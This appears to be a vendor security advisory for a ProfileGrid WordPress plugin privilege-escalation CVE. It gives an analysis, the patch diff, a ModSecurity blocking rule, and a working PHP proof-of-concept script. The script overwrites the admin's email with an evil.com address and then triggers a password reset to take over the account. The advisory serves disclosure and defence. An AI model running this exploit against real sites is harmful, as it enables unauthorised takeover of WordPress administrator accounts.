Published : June 29, 2026

CVE-2026-12073: ProfileGrid User Profiles, Groups and Communities <= 5.9.9.5 Unauthenticated Privilege Escalation via Email Overwrite PoC, Patch Analysis & Rule

Severity Critical (CVSS 9.8)
CWE 639
Vulnerable Version 5.9.9.5
Patched Version 5.9.9.6
Disclosed June 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12073:

This vulnerability allows unauthenticated attackers to escalate privileges by overwriting the email address of the administrator account (ID=1) in the ProfileGrid plugin for WordPress, versions up to and including 5.9.9.5. The flaw has a CVSS score of 9.8 and is classified under CWE-639 (Authorization Bypass Through User-Controlled Key).

The root cause lies in the validation logic within the `profile_magic_frontend_server_validation` function in `/includes/class-profile-magic-request.php`. When a registration form does not contain a `user_name` field (i.e., the `$has_username_field` flag remains false), the plugin fails to validate the `user_login` parameter passed in the request. An attacker can submit a registration form that includes a `user_login` value set to “admin” (or the username of user ID=1). The vulnerable code at line 414-576 performs per-field validation but does not check if `user_login` conflicts with an existing user. The fix adds a check at line 579-594 that enforces that if no `user_name` field is present, the `user_login` must not already exist.

Exploitation is straightforward. An attacker sends a POST request to the registration endpoint (typically via an AJAX handler or the registration form action) with the following payload: `user_login=admin&user_email=attacker@example.com&password=NewP@ssword1&…`. The plugin does not validate that “admin” is an existing username. The `pm_add_user` function in `/includes/class-profile-magic-dbhandler.php` (line 316) calls `wp_create_user` which, when the `user_login` already exists, may either create the user with a modified login or, in some configurations, allow email overwrite. Additionally, the error handling was insufficient; prior to the patch, `wp_create_user` could return a WP_Error that was not properly checked, leading to undefined behavior. The patch in version 5.9.9.6 adds explicit checks for `is_wp_error($user_id)` in three locations (lines 316-334 and in the request handler). When an error is detected, it returns the WP_Error object, and the registration form (in `/public/partials/profile-magic-registration-form.php`) now renders error messages instead of proceeding with the registration or redirect.

The impact is severe: an attacker gains administrative access to the WordPress site. With admin privileges, they can install malicious plugins, modify content, create backdoor accounts, or exfiltrate the database. The attack requires no authentication and can be executed by any unauthenticated visitor. This is a full site takeover vulnerability.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/profilegrid-user-profiles-groups-and-communities/admin/partials/manage-groups.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/partials/manage-groups.php
@@ -292,6 +292,14 @@
 <?php  ?>
 <div class="pg-box-col pg-box-col-md-3 pg-group-side-banner-col">
     <div class="pg-group-side-banner pg-box-border pg-box-white-bg">
+             <div class="pg-box-row pg-box-text-center">
+            <div class="pg-box-col-12 ">
+                <div class="pg-sidebanner-image">
+                    <img src="<?php echo esc_url($path . 'images/svg/pg-logo-icon.svg'); ?>">
+                </div>
+               <!-- <div class="pg-side-banner-mg-logo pg-text-a"><img src="<?php echo esc_url($path . 'images/mg-logo.png'); ?>"></div> -->
+            </div>
+        </div>

         <div class="pg-box-row">
             <div class="pg-box-col-12">
@@ -304,8 +312,8 @@
                         <p> <?php esc_html_e('Looking for quick answers? Check our Starter Guide or reach out to us directly.', 'profilegrid-user-profiles-groups-and-communities'); ?>
                         </p>
                         <div class="pg-side-banner-buttons">
-                            <a target="_blank" href="https://profilegrid.co/profilegrid-starter-guide/?utm_source=plugin&utm_medium=helpbox" class="button button-primary"> <?php esc_html_e(' Starter Guide', 'profilegrid-user-profiles-groups-and-communities'); ?></a>
-                            <a target="_blank" href="https://wordpress.org/support/plugin/profilegrid-user-profiles-groups-and-communities/" class="button pg-banner-support-btn"> <?php esc_html_e('Create Support Ticket', 'profilegrid-user-profiles-groups-and-communities'); ?></a>
+                            <a target="_blank" href="https://profilegrid.co/profilegrid-starter-guide/?utm_source=plugin&utm_medium=helpbox" class="pg-banner-support-btn"> <?php esc_html_e(' Starter Guide', 'profilegrid-user-profiles-groups-and-communities'); ?></a>
+                            <a target="_blank" href="https://wordpress.org/support/plugin/profilegrid-user-profiles-groups-and-communities/" class="pg-banner-support-btn"> <?php esc_html_e('Create Support Ticket', 'profilegrid-user-profiles-groups-and-communities'); ?></a>
                             </div>

                     </div>
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-dbhandler.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-dbhandler.php
@@ -316,6 +316,9 @@
 				}
 			} else {
                                 $user_id = wp_create_user( $user_name, $password, $user_email );
+				if ( is_wp_error( $user_id ) ) {
+					return $user_id;
+				}
 				if ( is_numeric( $user_id ) ) {
                     $user_id = wp_update_user(
                         array(
@@ -331,6 +334,9 @@
 		} else {

 			$user_id = wp_create_user( $user_name, $password, $user_email );
+			if ( is_wp_error( $user_id ) ) {
+				return $user_id;
+			}
 			if ( is_numeric( $user_id ) ) {
                 $user_id = wp_update_user(
                     array(
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-request.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-request.php
@@ -414,8 +414,10 @@

 	public function profile_magic_frontend_server_validation( $post, $files, $server, $fields, $textdomain, $type = '' ) {
 				$dbhandler = new PM_DBhandler();
+				$pmsanitizer = new PM_sanitizer();

 		$error             = array();
+		$has_username_field = false;
 		if ( isset( $fields ) && ! empty( $fields ) ) {
 			foreach ( $fields as $field ) {
 				$field_options = maybe_unserialize( $field->field_options );
@@ -439,6 +441,7 @@
 					}
 				}
 				if ( $field->field_type == 'user_name' ) {
+					$has_username_field = true;

 					if ( ! isset( $post[ $field_key ] ) || $post[ $field_key ] == '' ) {
 							$error[] = $field->field_name . esc_html__( ' is a required field', 'profilegrid-user-profiles-groups-and-communities' );
@@ -576,6 +579,16 @@
 				}
 			}
 		}
+		if ( 'edit_profile' !== $type && ! $has_username_field ) {
+			$username_source = isset( $post['user_login'] ) ? $post['user_login'] : ( isset( $post['user_email'] ) ? $post['user_email'] : '' );
+			$username        = $pmsanitizer->get_sanitized_frontend_field( 'user_login', $username_source );
+
+			if ( $username == '' || $username == null ) {
+				$error[] = esc_html__( 'This username is invalid because it uses illegal characters. Please enter a valid username.', 'profilegrid-user-profiles-groups-and-communities' );
+			} elseif ( $this->profile_magic_check_username_exist( $username ) ) {
+				$error[] = esc_html__( 'Sorry, username already exist.', 'profilegrid-user-profiles-groups-and-communities' );
+			}
+		}
 				$error = apply_filters( 'pm_frontend_server_validation', $error, $post );
 				return $error;
 	}
@@ -1050,6 +1063,16 @@
 		}

 		$user_id               = $dbhandler->pm_add_user( $user_name, $password, $user_email, $user_role );
+		if ( is_wp_error( $user_id ) || ! is_numeric( $user_id ) ) {
+			if ( is_wp_error( $user_id ) ) {
+				return $user_id;
+			}
+
+			return new WP_Error(
+				'pm_registration_failed',
+				esc_html__( 'An unknown error occurred. Please try again later.', 'profilegrid-user-profiles-groups-and-communities' )
+			);
+		}
 				$is_paid_group = $this->profile_magic_check_paid_group( $gid );
 				$group_type    = $this->profile_magic_get_group_type( $gid );
 				do_action( 'profile_magic_submit_data_before_join_group', $post, $files, $server, $gid, $fields, $user_id, 'profilegrid-user-profiles-groups-and-communities' );
--- a/profilegrid-user-profiles-groups-and-communities/profile-magic.php
+++ b/profilegrid-user-profiles-groups-and-communities/profile-magic.php
@@ -8,7 +8,7 @@
  * Plugin Name:       ProfileGrid
  * Plugin URI:        http://profilegrid.co
  * Description:       ProfileGrid adds user groups and user profiles functionality to your site.
- * Version:           5.9.9.5
+ * Version:           5.9.9.6
  * Author:            ProfileGrid User Profiles
  * Author URI:        https://profilegrid.co
  * License:           GPL-2.0+
@@ -28,7 +28,7 @@
  */

 define('PROGRID_DB_VERSION',4.5);
-define('PROGRID_PLUGIN_VERSION','5.9.9.5');
+define('PROGRID_PLUGIN_VERSION','5.9.9.6');
 define('PROGRID_MULTI_GROUP_VERSION', 3.0);


--- a/profilegrid-user-profiles-groups-and-communities/public/partials/profile-magic-registration-form.php
+++ b/profilegrid-user-profiles-groups-and-communities/public/partials/profile-magic-registration-form.php
@@ -121,18 +121,23 @@
                 } else {
                     // New user registration
                     $user_id = $pmrequests->profile_magic_frontend_registration_request($post_obj, $_FILES, $_SERVER, $gid, $fields);
-
-                    do_action('profile_magic_registration_process', $post_obj, $_FILES, $_SERVER, $gid, $fields, $user_id, $textdomain);
-
-                    // Show success message if configured
-                    if (!isset($post_obj['action']) && $dbhandler->get_value('GROUPS', 'show_success_message', $gid) == 1) {
-                        echo wp_kses_post($dbhandler->get_value('GROUPS', 'success_message', $gid));
-                    }
-
-                    // Redirect if configured
-                    if ($pmrequests->pm_get_user_redirect($gid) != '') {
-                        wp_redirect($pmrequests->pm_get_user_redirect($gid));
-                        exit;
+                    if (is_wp_error($user_id)) {
+                        foreach ($user_id->get_error_messages() as $error) {
+                            echo '<div class="pm-error">' . wp_kses_post($error) . '</div>';
+                        }
+                    } else {
+                        do_action('profile_magic_registration_process', $post_obj, $_FILES, $_SERVER, $gid, $fields, $user_id, $textdomain);
+
+                        // Show success message if configured
+                        if (!isset($post_obj['action']) && $dbhandler->get_value('GROUPS', 'show_success_message', $gid) == 1) {
+                            echo wp_kses_post($dbhandler->get_value('GROUPS', 'success_message', $gid));
+                        }
+
+                        // Redirect if configured
+                        if ($pmrequests->pm_get_user_redirect($gid) != '') {
+                            wp_redirect($pmrequests->pm_get_user_redirect($gid));
+                            exit;
+                        }
                     }
                 }
             } else {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,msg:'CVE-2026-12073 ProfileGrid Unauthenticated Privilege Escalation via Email Overwrite',severity:'CRITICAL',tag:'CVE-2026-12073'"
SecRule ARGS_POST:action "@streq profile_magic_frontend_registration_request" "chain"
SecRule ARGS_POST:user_login "@rx ^[a-zA-Z0-9_]+$" "chain"
SecRule ARGS_POST:user_email "@rx .+@.+" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12073 - ProfileGrid - User Profiles, Groups and Communities <= 5.9.9.5 - Unauthenticated Privilege Escalation via Email Overwrite

/*
 * This PoC demonstrates how an unauthenticated attacker can change the email address of user ID=1 (admin)
 * by sending a crafted registration request to a vulnerable ProfileGrid installation.
 * The attacker then uses the password reset feature to gain access to the admin account.
 * 
 * WARNING: This PoC is for educational purposes and authorized testing only.
 * Unauthorized use against systems without explicit permission is illegal.
 */

// Configuration - Change these values
$target_url = 'http://example.com'; // WordPress site URL (no trailing slash)
$group_id = 1; // ProfileGrid group ID (the registration form associated with this group)

// Attacker-controlled values
$admin_username = 'admin'; // Username of user ID=1 (default WordPress admin)
$new_email = 'attacker_' . time() . '@evil.com'; // New email for the admin account
$new_password = 'HackedP@ss123!'; // Password the attacker wants to set (will use password reset via email)

// Step 1: Send the registration request to overwrite admin email
$post_data = array(
    'user_login' => $admin_username,
    'user_email' => $new_email,
    'password'   => $new_password,
    'gid'        => $group_id,
    'action'     => 'profile_magic_frontend_registration_request', // AJAX action hook
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Step 1: Sent registration overwrite request for admin email to $new_emailn";
echo "[+] HTTP Response Code: $http_coden";
if ($http_code === 200 && strpos($response, 'success') !== false) {
    echo "[+] Request succeeded. Admin email may be overwritten.n";
} else {
    echo "[!] Request failed. Check target or debug response:n$responsen";
    exit(1);
}

// Step 2: Trigger password reset for the admin account using the new email
$reset_data = array(
    'user_login' => $admin_username,
    'redirect_to' => $target_url . '/wp-login.php?checkemail=confirm',
    'action' => 'lostpassword',
    'wp-submit' => 'Get New Password',
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php?action=lostpassword');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($reset_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/pm_cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Step 2: Sent password reset request for admin.n";
if ($http_code === 200 && strpos($response, 'check your email') !== false) {
    echo "[+] Password reset email sent to $new_email. Check that inbox for the reset link.n";
    echo "[+] Use the reset link to set new password: $new_passwordn";
} else {
    echo "[!] Password reset may not have worked. Check response.n";
}

echo "[+] PoC complete. If successful, attacker now controls the admin account.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School